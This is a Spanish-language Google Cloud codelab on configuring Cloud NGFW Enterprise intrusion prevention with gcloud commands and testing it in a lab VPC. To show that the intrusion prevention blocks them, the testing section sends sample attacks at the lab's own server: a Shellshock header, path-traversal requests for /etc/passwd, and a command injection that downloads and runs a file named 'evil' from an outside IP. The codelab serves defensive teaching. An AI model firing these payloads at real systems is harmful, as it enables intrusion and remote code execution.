Cloud NGFW Enterprise: Servicio de prevención de intrusiones (sin inspección de TLS)

1. Introducción

Cloud Next Generation Firewall (NGFW)

Cloud Next Generation Firewall es un servicio de firewall completamente distribuido con capacidades de protección avanzada, microsegmentación y cobertura generalizada para proteger tus cargas de trabajo de Google Cloud de los ataques internos y externos.

La NGFW de Cloud tiene los siguientes beneficios:

  • Servicio de firewall distribuido: Cloud NGFW proporciona una aplicación con estado basada en el host completamente distribuida en cada carga de trabajo para habilitar una arquitectura de seguridad de confianza cero.
  • Implementación y configuración simplificadas: Cloud NGFW implementa políticas de firewall jerárquicas y de red que se pueden adjuntar a un nodo de jerarquía de recursos. Estas políticas proporcionan una experiencia de firewall coherente en toda la jerarquía de recursos de Google Cloud.
  • Control detallado y microsegmentación: La combinación de políticas de firewall y etiquetas administradas por Identity and Access Management (IAM) proporciona un control detallado para el tráfico norte-sur y este-oeste, hasta una sola VM, en redes y organizaciones de nube privada virtual (VPC).

Cloud NGFW está disponible en los siguientes niveles:

Cloud NGFW Enterprise

Cloud NGFW Enterprise agrega el Servicio de prevención de intrusiones (IPS), una función de capa 7, al tejido distribuido de firewall de Google Cloud. La inspección de TLS se admite para permitir la inspección del tráfico encriptado con TLS, pero está fuera del alcance de este codelab (consulta el codelab empresarial de Cloud NGFW con inspección de TLS).

Ahora puedes implementar inspecciones confiables de firewall de nueva generación (NGFW) de capa 7 con controles detallados, sin realizar ningún cambio en la arquitectura de red ni en la configuración de enrutamiento.

Para activar y, luego, implementar el control de firewall de la capa 7 con IPS, debes realizar las siguientes tareas:

  • Crea un conjunto de extremos de firewall zonal administrados por Google Cloud.
  • De manera opcional, crea una política de inspección de TLS (no se aborda en este codelab).
  • De manera opcional, crea una configuración de confianza (no se aborda en este codelab)
  • Asocia estos extremos con las redes de nube privada virtual (VPC) en las que necesitas el servicio de NGFW empresarial de Cloud.
  • Realiza cambios simples en tus políticas y reglas de firewall existentes para especificar los perfiles de prevención de amenazas para las diversas rutas de tráfico.

Políticas de firewall de red

La política de firewall de red actúa como un contenedor para las reglas de firewall. Las reglas que se definen en una política de firewall de red no se aplican en ningún lugar hasta que la política esté asociada con una red de VPC. Cada red de VPC puede tener asociada una política de firewall de red. Las políticas de firewall de red admiten etiquetas controladas por IAM (o solo etiquetas) en las reglas de firewall, que reemplazan las etiquetas de red actuales y se pueden usar para proporcionar identidad a la carga de trabajo.

Compartir una política de firewall de red entre redes y la integración con etiquetas controladas por IAM simplifica en gran medida la configuración y administración de los firewalls.

Con la introducción de la política de firewall de red, las políticas de firewall de Google Cloud ahora consisten en los siguientes componentes:

  1. Política de firewall jerárquica
  2. Reglas de firewall de VPC
  3. Política de firewall de red ( global y regional)

Las políticas de firewall jerárquicas son compatibles con los nodos de organización y carpeta dentro de la jerarquía de recursos, mientras que las reglas de firewall de VPC y las políticas de firewall de red se aplican a nivel de VPC. Una gran diferencia entre las reglas de firewall de VPC y las políticas de firewall de red es que las reglas de firewall de VPC solo se pueden aplicar a una sola red de VPC, mientras que las políticas de firewall de red se pueden adjuntar a una sola VPC o a un grupo de VPC, entre otros beneficios, como las actualizaciones por lotes.

Por último, también tenemos las reglas de firewall implícitas que se incluyen en cada red de VPC:

  • Una regla de salida cuya acción es permitir, destino es 0.0.0.0/0
  • Una regla de entrada cuya acción es deny (rechazar), el origen es 0.0.0.0/0

De forma predeterminada, la secuencia de aplicación se muestra en el siguiente diagrama:

21b3bcabc469ffe.png

Ten en cuenta que se puede intercambiar el orden de aplicación entre las reglas de firewall de VPC y la política de firewall de red global. Los clientes pueden especificar el orden de aplicación en cualquier momento con un comando gcloud.

Etiquetas administradas por IAM

Las nuevas etiquetas integradas en las reglas de la política de firewall de red son recursos de par clave-valor definidos a nivel de la organización o del proyecto de la jerarquía de recursos de Google Cloud. Como su nombre lo indica, una etiqueta de este tipo contiene un control de acceso de IAM que especifica quién puede hacer qué en la etiqueta. Por ejemplo, los permisos de IAM permiten especificar qué principales pueden asignar valores a las etiquetas y cuáles pueden adjuntarlas a los recursos. Una vez que se aplica una etiqueta a un recurso, las reglas de firewall de red pueden usarla para permitir y denegar el tráfico.

Las etiquetas se adhieren al modelo de recursos de herencia de Google Cloud, lo que significa que las etiquetas y sus valores se transmiten a través de la jerarquía desde sus elementos superiores. Como resultado, las etiquetas se pueden crear en un lugar y, luego, usarlas en otras carpetas y proyectos en toda la jerarquía de recursos. Visita esta página para obtener detalles sobre las etiquetas y la restricción de acceso.

No se deben confundir las etiquetas con las etiquetas de red. Estos últimos son cadenas que se pueden agregar a las instancias de Compute Engine. Se asocian con la instancia y desaparecen cuando esta se da de baja. Las reglas de firewall de VPC pueden incluir etiquetas de red, pero, como no se consideran recursos de la nube, no están sujetas al control de acceso de IAM.

Ten en cuenta que las etiquetas y las etiquetas administradas por IAM se usan indistintamente en este documento.

Qué compilarás

Este codelab requiere un solo proyecto y la capacidad de crear una red de VPC con conectividad pública. En él, se mostrará cómo Cloud NGFW Enterprise puede proporcionar la funcionalidad de IPS de las siguientes maneras:

  • Inspección de flujos dentro de la VPC o subred [este-oeste]
  • Inspección de flujos de entrada desde Internet [norte-sur]

Los flujos que se inspeccionarán se seleccionarán con los parámetros de coincidencia del firewall de Cloud, incluidos la tupla de 5 elementos (IP de origen, IP de destino, protocolo, puerto de origen y puerto de destino) y las etiquetas. La Inspección de TLS no se incluye en este codelab.

52a0642ef8668ecf.png

La base de reglas de la política de firewall de red será similar a la siguiente tabla:

Prioridad

Dirección

Destino

Origen

Destino

Acción

Tipo

100

Salida

Quarantine_Tag

Cualquiera

Cualquiera

Rechazar

Imprescindibles

1000

Entrada

Server_Tag

Rangos de verificación de estado

Cualquiera

Permitir

Imprescindibles

2000

Entrada

Cualquiera

Rangos de Identity-Aware Proxy

Cualquiera

Permitir

Imprescindibles

3000

Entrada

Cualquiera

Geo, GCTI

Cualquiera

Rechazar

Estándar

4000

Salida

Cualquiera

Cualquiera

Geo, GCTI

Rechazar

Estándar

5000

Salida

Cualquiera

Cualquiera

FQDN de actualización del sistema

Permitir

Estándar

6000

Entrada

Server_Tag

10.0.0.0/24

Cualquiera

IPS

Enterprise

7000

Entrada

Server_Tag

CloudNAT_IP

Cualquiera

IPS

Enterprise

Qué aprenderás

Requisitos

  • Proyecto de Google Cloud
  • Conocimientos para implementar instancias y configurar componentes de red
  • Conocimientos sobre la configuración del firewall de VPC

2. Antes de comenzar

Crea o actualiza variables

En este codelab, se usan $variables para ayudar a implementar la configuración de gcloud en Cloud Shell.

En Cloud Shell, ejecuta los siguientes comandos y reemplaza la información entre corchetes según sea necesario (omite la configuración del proyecto si ya se configuró el deseado). Se usa una variable diferente para los recursos a nivel de la organización si se necesitan varios extremos de firewall, por ejemplo.

gcloud config set project [project-id]

export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=cloudngfw
export org_prefix=cloudngfw
export billing_project_id=[project-id]

3. Habilita las APIs

Habilita las APIs si aún no lo hiciste:

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Creación de perfiles de seguridad y extremos de Cloud NGFW Enterprise

Dado que la creación del extremo empresarial de Cloud NGFW tarda alrededor de 20 minutos, se creará primero y la configuración básica se puede realizar en paralelo mientras se crea el extremo.

Crea el perfil de seguridad y el grupo de perfiles de seguridad:

gcloud network-security security-profiles threat-prevention \
  create $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $org_prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat

Resultado esperado:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com
plete...done.                                                                                                                                 
Created security profile group [$org_prefix-spg].

Confirma que los recursos se hayan creado correctamente:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Resultado esperado:

NAME: cloudngfw-sp-threat
NAME: cloudngfw-spg

Crea el extremo de Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $org_prefix-$zone \
  --zone=$zone --organization $org_id \
  --billing-project $billing_project_id

Ejecuta el siguiente comando para confirmar que se está creando el extremo (ESTADO: CREANDO).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Resultado esperado (ten en cuenta que el formato de salida puede variar según el cliente que se use):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: CREATING

De manera opcional, ejecuta el siguiente comando para obtener más detalles:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

Resultado esperado:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: CREATING
updateTime: '2023-04-25T18:08:45.493499362Z'

El proceso de creación del extremo tarda unos 20 minutos. Continúa con la sección Configuración básica para crear los recursos necesarios en paralelo.

5. Configuración básica

Continúa con las siguientes secciones si prefieres crear los recursos básicos de forma manual.

Red y subred de VPC

Red y subred de VPC

Crea la red y la subred de VPC:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Crea los Cloud Routers y las puertas de enlace de Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Instancias

Crea las instancias del cliente y del servidor web:

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --scopes=compute-ro \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils iperf3 tcpdump -y'

Etiquetas a nivel del proyecto

Si es necesario, asigna los permisos tagAdmin o tagUser al usuario:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser

Crea la clave y los valores de la etiqueta a nivel del proyecto:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-quarantine \
   --parent=$project_id/$prefix-vpc-tags

Vincula etiquetas a las instancias:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Política de firewall de red global

Crea una política de firewall de red global:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise" --global

Crea reglas esenciales del firewall de Cloud para denegar el tráfico de instancias en cuarentena (creadas solo a modo de ejemplo, no se usan en este codelab) y permitir el tráfico de los rangos de verificación de estado y proxy consciente de identidad:

gcloud compute network-firewall-policies rules create 100 \
        --description="block quarantined workloads" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
        --dest-ip-ranges=0.0.0.0/0

gcloud compute network-firewall-policies rules create 1000 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 2000 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

Crea reglas estándar del firewall de Cloud para denegar el tráfico de entrada y salida desde o hacia países con embargo, IPs maliciosas conocidas y nodos de salida de ToR, y solo permite el tráfico de salida a FQDN específicos para las actualizaciones del sistema (se crearon solo a modo de ejemplo y no se usan en este codelab):

gcloud compute network-firewall-policies rules create 3000 \
        --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=INGRESS \
        --src-region-codes CU,IR,KP,SY,XC,XD \
        --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 4000 \
        --description="block egress traffic to sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --dest-region-codes CU,IR,KP,SY,XC,XD \
        --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 5000 \
        --description "allow system updates" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com

Crea reglas de firewall de Cloud para permitir el tráfico de entrada este-oeste / intrasubred y norte-sur / Internet desde los rangos específicos (estas reglas se actualizarán para habilitar el NGFW empresarial de Cloud):

gcloud compute network-firewall-policies rules create 6000 \
        --description "allow ingress internal traffic from clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs all \
        --src-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud compute network-firewall-policies rules create 7000 \
        --description "allow ingress external traffic to server" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --enable-logging \
        --src-ip-ranges=$cloudnatip \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Asocia la política de firewall de red a la red de VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

Balanceador de cargas de red de TCP/UDP externo

Reserva una dirección IP externa y crea el grupo de instancias y la verificación de estado:

gcloud compute addresses create $prefix-$region-nlbip --region=$region

gcloud compute instance-groups unmanaged create $prefix-ig \
    --zone $zone

gcloud compute instance-groups unmanaged add-instances $prefix-ig \
   --instances $prefix-$zone-www --zone $zone

gcloud compute health-checks create http $prefix-$region-hc-http80 \
   --region $region --port 80

Crea el servicio de backend y la regla de reenvío:

gcloud compute backend-services create $prefix-nlb-bes \
    --protocol TCP \
    --health-checks $prefix-$region-hc-http80 \
    --health-checks-region $region \
    --region $region

gcloud compute backend-services add-backend $prefix-nlb-bes \
    --instance-group $prefix-ig \
    --instance-group-zone $zone \
    --region $region

gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
  --load-balancing-scheme EXTERNAL \
  --region $region \
  --ports 80 \
  --address $prefix-$region-nlbip \
  --backend-service $prefix-nlb-bes

6. Asociación de extremos de Cloud NGFW Enterprise

Vuelve a definir las variables de entorno si es necesario.

Confirma que la creación del extremo de Firewall de Cloud se haya completado correctamente. Continúa solo cuando el estado aparezca como ACTIVO (durante la creación, el estado esperado es CREANDO):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Resultado esperado (ten en cuenta que el formato de salida puede variar según el cliente que se use):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: ACTIVE

De manera opcional, ejecuta el siguiente comando para obtener más detalles:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

Resultado esperado:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: ACTIVE
updateTime: '2023-04-25T18:29:40.840608100Z'

Asocia el extremo de Cloud NGFW Enterprise a la red de VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc --endpoint $org_prefix-$zone \
  --organization $org_id

El proceso de asociación tarda unos 10 minutos. Continúa solo cuando el estado aparezca como ACTIVO (el estado esperado es CREANDO durante el proceso de creación):

gcloud network-security firewall-endpoint-associations list

Resultado esperado:

ID: cloudngfw-association
LOCATION: [zone]
NETWORK: cloudngfw-vpc
ENDPOINT: cloudngfw-[zone]
STATE: ACTIVE

De manera opcional, ejecuta el siguiente comando para obtener más detalles:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Resultado esperado:

createTime: '2023-05-01T22:25:06.218544436Z'
firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association
network: projects/[project-id]/global/networks/cloudngfw-vpc
state: ACTIVE
updateTime: '2023-05-01T22:33:06.467596536Z'

7. Reglas de inspección de Cloud NGFW Enterprise

Abre una pestaña nueva y, luego, inicia una conexión SSH a la VM del cliente a través de IAP (tendrás que volver a definir las variables en la pestaña nueva):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Define las variables requeridas en la sesión de SSH y configúralas (asegúrate de que los valores sean correctos):

export region=[region]
export zone=[zone]
export prefix=cloudngfw

export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)")

export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")

Ejecuta curl en ambas IPs para confirmar que se puede acceder a ellas:

curl $target_privateip --max-time 2

curl $target_nlbip --max-time 2

Resultado esperado para ambas solicitudes de curl:

Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]

Envía ataques de muestra a la IP del servidor interno (tráfico de este a oeste o dentro de la VPC). El servidor web debe responder a todas las solicitudes y confirmar que no hay una inspección o prevención de L7:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Vuelve a enviar los ataques de muestra a la IP del servidor externo a través de Cloud NAT (tráfico entrante norte-sur) y, de manera similar, el servidor web debería responder a todas las solicitudes:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Resultados esperados para las IP públicas y privadas:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

Regresa a Cloud Shell y actualiza las reglas de entrada existentes para habilitar la inspección de L7:

gcloud compute network-firewall-policies rules update 6000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

gcloud compute network-firewall-policies rules update 7000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

De manera opcional, describe las reglas de firewall para verificar que ambas se hayan actualizado correctamente:

gcloud compute network-firewall-policies rules describe 6000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

Resultado esperado:

---
action: apply_security_profile_group
description: allow ingress internal traffic from tagged clients
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: all
  srcIpRanges:
  - 10.0.0.0/24
priority: 800
ruleTupleCount: 4
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

Regla 7000:

gcloud compute network-firewall-policies rules describe 7000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

Resultado esperado:

---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: tcp
    ports:
    - '80'
  - ipProtocol: tcp
    ports:
    - '443'
  srcIpRanges:
  - [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

Regresa a la VM del cliente y vuelve a enviar los ataques de muestra a la IP del servidor interno (inspección de este a oeste o intra-VPC):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Vuelve a enviar los ataques de muestra a la IP del servidor externo a través de Cloud NAT (inspección entrante norte-sur):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

No se reciben respuestas para los primeros ataques según el resultado esperado que se muestra a continuación, lo que confirma que los ataques de alta gravedad ahora se bloquean.

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

Navega a Seguridad de red > Amenazas en la consola de Cloud para verificar los registros (es posible que debas actualizarlos varias veces si los ataques aún no se muestran).

daa535fcc34873aa.png

Elige uno de los ataques y haz clic en “Ver registro de auditoría” en el lado derecho (abre en una pestaña nueva para volver fácilmente). Expande el ataque para mostrar los detalles:

5f97cdef79e42eff.png

De forma opcional, reemplaza el filtro del Explorador de registros por la siguiente consulta:

resource.type="networksecurity.googleapis.com/FirewallEndpoint"

Las entradas del registro de amenazas deben verse de la siguiente manera:

5ea9581a7eb694c5.png

Los paquetes interceptados por Cloud Firewall se pueden verificar con el filtro del Explorador de registros que se indica a continuación (útil para solucionar problemas):

jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

f3766ea8d66ddef8.png

Continúa con la inspección del tráfico de Internet (opcional) o cierra la sesión de SSH y continúa con el siguiente capítulo para ver los pasos de limpieza.

[Opcional] Inspección del tráfico de Internet

Como se verificó en la sección anterior, los flujos inspeccionados hasta el momento son de subred o VPC (este-oeste) y tráfico entrante de Internet (norte-sur entrante). Cloud NGFW Enterprise también se puede configurar para inspeccionar todo el tráfico de Internet (salida norte-sur) creando una nueva regla de salida con Cloud Shell:

gcloud compute network-firewall-policies rules create 10000 \
   --description "inspect all egress internet traffic from clients" \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --global-firewall-policy \
   --layer4-configs=tcp:80,tcp:443 \
   --direction=EGRESS \
   --dest-ip-ranges=0.0.0.0/0 \
   --enable-logging \
   --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

Regresa a la VM del cliente y vuelve a enviar ataques de alta gravedad a la IP del servidor externo:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

Resultado esperado:

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received

Cambia a la pestaña Amenazas en la consola de Cloud para verificar los registros (es posible que debas actualizarlos varias veces). Los ataques deberían haberse identificado y registrado nuevamente, pero ahora la IP de origen es interna porque primero se activa una regla de salida:

36f8edf264dcddcd.png

Cierra la sesión de SSH y continúa con la siguiente sección para conocer los pasos de limpieza.

8. Pasos de limpieza

Limpieza de componentes de Cloud NGFW Enterprise

Muestra una lista de las asociaciones existentes de Cloud NGFW Enterprise:

gcloud network-security firewall-endpoint-associations list

Borra la asociación de Cloud NGFW Enterprise:

gcloud network-security firewall-endpoint-associations delete \
   $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list

Enumera los extremos existentes de Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Borra el extremo de Cloud NGFW Enterprise, lo que puede tardar unos 20 minutos:

gcloud -q network-security firewall-endpoints delete \
   $org_prefix-$zone --zone=$zone --organization $org_id

Ejecuta el siguiente comando para confirmar que se borró el NGFW de Cloud Enterprise:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Borra el grupo de perfiles de seguridad y el perfil de prevención de amenazas:

gcloud -q network-security security-profile-groups delete \
  $org_prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

Limpieza de la configuración básica

Continúa con el siguiente paso si prefieres borrar los recursos base.

Define las variables de entorno si es necesario. En Cloud Shell, borra los componentes del balanceador de cargas de red:

gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region

gcloud -q compute backend-services delete $prefix-nlb-bes --region $region

gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region

gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone

Quita instancias:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

De manera opcional, sigue los pasos que se indican a continuación si se cambiaron los roles de tagAdmin y tagUsers:

export user_id=$(gcloud auth list --format="value(account)")

